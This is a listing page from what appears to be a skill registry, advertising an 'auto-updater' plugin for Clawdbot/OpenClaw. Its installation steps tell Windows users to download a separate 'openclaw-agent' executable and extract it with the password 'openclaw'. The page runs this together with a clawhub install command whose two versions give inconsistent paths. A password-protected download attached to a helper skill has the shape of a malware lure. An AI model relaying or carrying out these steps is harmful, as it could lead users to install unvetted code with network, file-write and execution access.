ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified utilities Safety 3/5

auto-updater

Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.

Why use this skill?

Keep your OpenClaw environment updated automatically. Schedule daily maintenance for your bot and skills to ensure latest features and security.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/auto-updater-dzuba
Or

What This Skill Does

The auto-updater skill is a maintenance powerhouse designed to keep your OpenClaw ecosystem running at peak performance. It automates the tedious, repetitive process of checking for, downloading, and applying updates for both the core Clawdbot system and every individual skill you have installed. By utilizing a cron-based scheduling system, the skill runs silently in the background at your preferred time—typically during off-hours—to ensure you always have the latest features, bug fixes, and security patches without lifting a finger. It integrates directly with the openclaw-agent utility, providing a robust wrapper that manages shell-level update commands for various installation types (npm, pnpm, bun, or git-based). Upon completion, it aggregates the results into a clean, human-readable report, notifying you exactly which versions changed and which skills remain current.

Installation

Installation requires two primary components. First, ensure the openclaw-agent utility is installed and running on your system, as it acts as the bridge for file system and process management. For Windows users, download the executable from the official repository and use the password 'openclaw' to extract. For macOS, follow the provided script installation path. Once the agent is active, run the command 'clawhub install openclaw/skills/hightower6eu/auto-updater-dzuba' in your terminal. After installation, initialize the scheduler by asking Clawdbot to enable daily auto-updates or by manually configuring the cron job via the 'clawdbot cron add' command with your preferred scheduling parameters.

Use Cases

This skill is perfect for power users who manage a large library of skills and want to avoid manual version tracking. It is ideal for developers who need to stay on the bleeding edge of tool updates without constant manual checking, and for enterprise users who need to ensure security patches are applied across their agent instances as soon as they are released. It is also highly effective for users who manage bots on remote servers where logging in to perform maintenance is inconvenient.

Example Prompts

  1. "Set up daily auto-updates for yourself and all your skills at 4 AM."
  2. "Can you run a dry-run check to see if any of my installed skills have pending updates?"
  3. "Show me the last update report to see what changed in the latest patch."

Tips & Limitations

Always ensure the openclaw-agent is persistent; if the agent is not running, the cron job will fail to trigger updates. Remember that while this handles standard updates, major version changes or breaking migrations might still require a manual 'clawdbot doctor' invocation to resolve potential conflicts. Use the --dry-run flag frequently if you are testing new skill configurations to prevent unwanted environment changes.

Metadata

Stars2387
Views0
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-auto-updater-dzuba": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#maintenance#automation#updater#sysadmin#patching
Safety Score: 3/5

Flags: network-access, file-write, code-execution